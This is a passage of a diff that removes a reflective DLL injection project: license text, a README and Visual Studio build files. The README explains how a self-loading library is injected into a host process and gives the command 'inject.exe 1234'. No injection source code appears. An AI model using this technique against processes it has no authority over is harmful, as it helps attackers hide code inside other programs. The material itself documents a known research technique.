SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
|
||||||
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
|
||||||
POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
|
|
@ -1,71 +0,0 @@
|
||||||
About
|
|
||||||
=====
|
|
||||||
|
|
||||||
Reflective DLL injection is a library injection technique in which the concept
|
|
||||||
of reflective programming is employed to perform the loading of a library from
|
|
||||||
memory into a host process. As such the library is responsible for loading
|
|
||||||
itself by implementing a minimal Portable Executable (PE) file loader. It can
|
|
||||||
then govern, with minimal interaction with the host system and process, how it
|
|
||||||
will load and interact with the host.
|
|
||||||
|
|
||||||
Injection works from Windows NT4 up to and including Windows 8, running on x86,
|
|
||||||
x64 and ARM where applicable.
|
|
||||||
|
|
||||||
Overview
|
|
||||||
========
|
|
||||||
|
|
||||||
The process of remotely injecting a library into a process is two fold. Firstly,
|
|
||||||
the library you wish to inject must be written into the address space of the
|
|
||||||
target process (Herein referred to as the host process). Secondly the library
|
|
||||||
must be loaded into that host process in such a way that the library's run time
|
|
||||||
expectations are met, such as resolving its imports or relocating it to a
|
|
||||||
suitable location in memory.
|
|
||||||
|
|
||||||
Assuming we have code execution in the host process and the library we wish to
|
|
||||||
inject has been written into an arbitrary location of memory in the host
|
|
||||||
process, Reflective DLL Injection works as follows.
|
|
||||||
|
|
||||||
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap
|
|
||||||
shellcode, to the library's ReflectiveLoader function which is an exported
|
|
||||||
function found in the library's export table.
|
|
||||||
* As the library's image will currently exists in an arbitrary location in
|
|
||||||
memory the ReflectiveLoader will first calculate its own image's current
|
|
||||||
location in memory so as to be able to parse its own headers for use later on.
|
|
||||||
* The ReflectiveLoader will then parse the host processes kernel32.dll export
|
|
||||||
table in order to calculate the addresses of three functions required by the
|
|
||||||
loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
|
|
||||||
* The ReflectiveLoader will now allocate a continuous region of memory into
|
|
||||||
which it will proceed to load its own image. The location is not important as
|
|
||||||
the loader will correctly relocate the image later on.
|
|
||||||
The library's headers and sections are loaded into their new locations in
|
|
||||||
memory.
|
|
||||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
|
||||||
import table, loading any additional library's and resolving their respective
|
|
||||||
imported function addresses.
|
|
||||||
* The ReflectiveLoader will then process the newly loaded copy of its image's
|
|
||||||
relocation table.
|
|
||||||
* The ReflectiveLoader will then call its newly loaded image's entry point
|
|
||||||
function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully
|
|
||||||
loaded into memory.
|
|
||||||
* Finally the ReflectiveLoader will return execution to the initial bootstrap
|
|
||||||
shellcode which called it, or if it was called via CreateRemoteThread, the
|
|
||||||
thread will terminate.
|
|
||||||
|
|
||||||
Build
|
|
||||||
=====
|
|
||||||
|
|
||||||
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release
|
|
||||||
mode to make inject.exe and reflective_dll.dll
|
|
||||||
|
|
||||||
Usage
|
|
||||||
=====
|
|
||||||
|
|
||||||
To test use the inject.exe to inject reflective_dll.dll into a host process via
|
|
||||||
a process id, e.g.:
|
|
||||||
|
|
||||||
> inject.exe 1234
|
|
||||||
|
|
||||||
License
|
|
||||||
=======
|
|
||||||
|
|
||||||
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.
|
|
||||||
|
|
@ -1,20 +0,0 @@
|
||||||
|
|
||||||
Microsoft Visual Studio Solution File, Format Version 10.00
|
|
||||||
# Visual C++ Express 2008
|
|
||||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "reflective_dll.vcproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
|
||||||
EndProject
|
|
||||||
Global
|
|
||||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
|
||||||
Debug|Win32 = Debug|Win32
|
|
||||||
Release|Win32 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
|
||||||
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
|
||||||
EndGlobalSection
|
|
||||||
GlobalSection(SolutionProperties) = preSolution
|
|
||||||
HideSolutionNode = FALSE
|
|
||||||
EndGlobalSection
|
|
||||||
EndGlobal
|
|
||||||
|
|
@ -1,357 +0,0 @@
|
||||||
<?xml version="1.0" encoding="Windows-1252"?>
|
|
||||||
<VisualStudioProject
|
|
||||||
ProjectType="Visual C++"
|
|
||||||
Version="9.00"
|
|
||||||
Name="reflective_dll"
|
|
||||||
ProjectGUID="{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
|
||||||
RootNamespace="reflective_dll"
|
|
||||||
Keyword="Win32Proj"
|
|
||||||
TargetFrameworkVersion="196613"
|
|
||||||
>
|
|
||||||
<Platforms>
|
|
||||||
<Platform
|
|
||||||
Name="Win32"
|
|
||||||
/>
|
|
||||||
<Platform
|
|
||||||
Name="x64"
|
|
||||||
/>
|
|
||||||
</Platforms>
|
|
||||||
<ToolFiles>
|
|
||||||
</ToolFiles>
|
|
||||||
<Configurations>
|
|
||||||
<Configuration
|
|
||||||
Name="Debug|Win32"
|
|
||||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
|
||||||
IntermediateDirectory="$(ConfigurationName)"
|
|
||||||
ConfigurationType="2"
|
|
||||||
CharacterSet="1"
|
|
||||||
>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreBuildEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCustomBuildTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXMLDataGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCWebServiceProxyGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCMIDLTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCLCompilerTool"
|
|
||||||
Optimization="0"
|
|
||||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
|
||||||
MinimalRebuild="true"
|
|
||||||
BasicRuntimeChecks="3"
|
|
||||||
RuntimeLibrary="3"
|
|
||||||
UsePrecompiledHeader="0"
|
|
||||||
WarningLevel="3"
|
|
||||||
DebugInformationFormat="4"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManagedResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreLinkEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCLinkerTool"
|
|
||||||
LinkIncremental="2"
|
|
||||||
GenerateDebugInformation="true"
|
|
||||||
SubSystem="2"
|
|
||||||
TargetMachine="1"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCALinkTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManifestTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXDCMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCBscMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCFxCopTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCAppVerifierTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPostBuildEventTool"
|
|
||||||
/>
|
|
||||||
</Configuration>
|
|
||||||
<Configuration
|
|
||||||
Name="Debug|x64"
|
|
||||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
|
||||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
|
||||||
ConfigurationType="2"
|
|
||||||
CharacterSet="1"
|
|
||||||
>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreBuildEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCustomBuildTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXMLDataGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCWebServiceProxyGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCMIDLTool"
|
|
||||||
TargetEnvironment="3"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCLCompilerTool"
|
|
||||||
Optimization="0"
|
|
||||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
|
||||||
MinimalRebuild="true"
|
|
||||||
BasicRuntimeChecks="3"
|
|
||||||
RuntimeLibrary="3"
|
|
||||||
UsePrecompiledHeader="0"
|
|
||||||
WarningLevel="3"
|
|
||||||
DebugInformationFormat="3"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManagedResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreLinkEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCLinkerTool"
|
|
||||||
LinkIncremental="2"
|
|
||||||
GenerateDebugInformation="true"
|
|
||||||
SubSystem="2"
|
|
||||||
TargetMachine="17"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCALinkTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManifestTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXDCMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCBscMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCFxCopTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCAppVerifierTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPostBuildEventTool"
|
|
||||||
/>
|
|
||||||
</Configuration>
|
|
||||||
<Configuration
|
|
||||||
Name="Release|Win32"
|
|
||||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
|
||||||
IntermediateDirectory="$(ConfigurationName)"
|
|
||||||
ConfigurationType="2"
|
|
||||||
CharacterSet="2"
|
|
||||||
WholeProgramOptimization="1"
|
|
||||||
>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreBuildEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCustomBuildTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXMLDataGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCWebServiceProxyGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCMIDLTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCLCompilerTool"
|
|
||||||
Optimization="2"
|
|
||||||
InlineFunctionExpansion="1"
|
|
||||||
EnableIntrinsicFunctions="true"
|
|
||||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
|
||||||
RuntimeLibrary="0"
|
|
||||||
EnableFunctionLevelLinking="true"
|
|
||||||
UsePrecompiledHeader="0"
|
|
||||||
WarningLevel="3"
|
|
||||||
DebugInformationFormat="3"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManagedResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreLinkEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCLinkerTool"
|
|
||||||
LinkIncremental="1"
|
|
||||||
GenerateDebugInformation="true"
|
|
||||||
SubSystem="2"
|
|
||||||
OptimizeReferences="2"
|
|
||||||
EnableCOMDATFolding="2"
|
|
||||||
TargetMachine="1"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCALinkTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManifestTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXDCMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCBscMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCFxCopTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCAppVerifierTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPostBuildEventTool"
|
|
||||||
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
|
|
||||||
/>
|
|
||||||
</Configuration>
|
|
||||||
<Configuration
|
|
||||||
Name="Release|x64"
|
|
||||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
|
||||||
IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
|
|
||||||
ConfigurationType="2"
|
|
||||||
CharacterSet="2"
|
|
||||||
WholeProgramOptimization="0"
|
|
||||||
>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreBuildEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCustomBuildTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXMLDataGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCWebServiceProxyGeneratorTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCMIDLTool"
|
|
||||||
TargetEnvironment="3"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCCLCompilerTool"
|
|
||||||
Optimization="2"
|
|
||||||
InlineFunctionExpansion="1"
|
|
||||||
EnableIntrinsicFunctions="true"
|
|
||||||
FavorSizeOrSpeed="2"
|
|
||||||
WholeProgramOptimization="false"
|
|
||||||
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
|
||||||
RuntimeLibrary="0"
|
|
||||||
EnableFunctionLevelLinking="true"
|
|
||||||
UsePrecompiledHeader="0"
|
|
||||||
WarningLevel="3"
|
|
||||||
DebugInformationFormat="3"
|
|
||||||
CompileAs="2"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManagedResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCResourceCompilerTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPreLinkEventTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCLinkerTool"
|
|
||||||
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
|
|
||||||
LinkIncremental="1"
|
|
||||||
GenerateDebugInformation="true"
|
|
||||||
SubSystem="2"
|
|
||||||
OptimizeReferences="2"
|
|
||||||
EnableCOMDATFolding="2"
|
|
||||||
TargetMachine="17"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCALinkTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCManifestTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCXDCMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCBscMakeTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCFxCopTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCAppVerifierTool"
|
|
||||||
/>
|
|
||||||
<Tool
|
|
||||||
Name="VCPostBuildEventTool"
|
|
||||||
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
|
|
||||||
/>
|
|
||||||
</Configuration>
|
|
||||||
</Configurations>
|
|
||||||
<References>
|
|
||||||
</References>
|
|
||||||
<Files>
|
|
||||||
<Filter
|
|
||||||
Name="Source Files"
|
|
||||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
|
||||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
|
||||||
>
|
|
||||||
<File
|
|
||||||
RelativePath=".\src\ReflectiveDll.c"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
<File
|
|
||||||
RelativePath=".\src\ReflectiveLoader.c"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
</Filter>
|
|
||||||
<Filter
|
|
||||||
Name="Header Files"
|
|
||||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
|
||||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
|
||||||
>
|
|
||||||
<File
|
|
||||||
RelativePath=".\src\ReflectiveDLLInjection.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
<File
|
|
||||||
RelativePath=".\src\ReflectiveLoader.h"
|
|
||||||
>
|
|
||||||
</File>
|
|
||||||
</Filter>
|
|
||||||
</Files>
|
|
||||||
<Globals>
|
|
||||||
</Globals>
|
|
||||||
</VisualStudioProject>
|
|
||||||
|
|
@ -1,266 +0,0 @@
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
|
||||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
||||||
<ItemGroup Label="ProjectConfigurations">
|
|
||||||
<ProjectConfiguration Include="Debug|ARM">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>ARM</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Debug|Win32">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Debug|x64">
|
|
||||||
<Configuration>Debug</Configuration>
|
|
||||||
<Platform>x64</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|ARM">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>ARM</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|Win32">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>Win32</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
<ProjectConfiguration Include="Release|x64">
|
|
||||||
<Configuration>Release</Configuration>
|
|
||||||
<Platform>x64</Platform>
|
|
||||||
</ProjectConfiguration>
|
|
||||||
</ItemGroup>
|
|
||||||
<PropertyGroup Label="Globals">
|
|
||||||
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
|
||||||
<RootNamespace>reflective_dll</RootNamespace>
|
|
||||||
<Keyword>Win32Proj</Keyword>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v100</PlatformToolset>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
|
||||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
|
||||||
<CharacterSet>Unicode</CharacterSet>
|
|
||||||
</PropertyGroup>
|
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
||||||
<ImportGroup Label="ExtensionSettings">
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
|
||||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
||||||
</ImportGroup>
|
|
||||||
<PropertyGroup Label="UserMacros" />
|
|
||||||
<PropertyGroup>
|
|
||||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>true</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
|
||||||
<LinkIncremental>true</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>true</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
||||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>false</LinkIncremental>
|
|
||||||
<TargetName>exploit</TargetName>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
|
||||||
<LinkIncremental>false</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
||||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
|
||||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
|
||||||
<LinkIncremental>false</LinkIncremental>
|
|
||||||
</PropertyGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
|
||||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<TargetMachine>MachineX86</TargetMachine>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
|
||||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
|
||||||
<PrecompiledHeader>
|
|
||||||
</PrecompiledHeader>
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
</Link>
|
|
||||||
</ItemDefinitionGroup>
|
|
||||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
||||||
<Midl>
|
|
||||||
<TargetEnvironment>X64</TargetEnvironment>
|
|
||||||
</Midl>
|
|
||||||
<ClCompile>
|
|
||||||
<Optimization>Disabled</Optimization>
|
|
||||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
||||||
<MinimalRebuild>true</MinimalRebuild>
|
|
||||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
|
||||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
|
||||||
<PrecompiledHeader />
|
|
||||||
<WarningLevel>Level3</WarningLevel>
|
|
||||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
|
||||||
</ClCompile>
|
|
||||||
<Link>
|
|
||||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
||||||
<SubSystem>Windows</SubSystem>
|
|
||||||
<TargetMachine>MachineX64</TargetMachine>
|
|
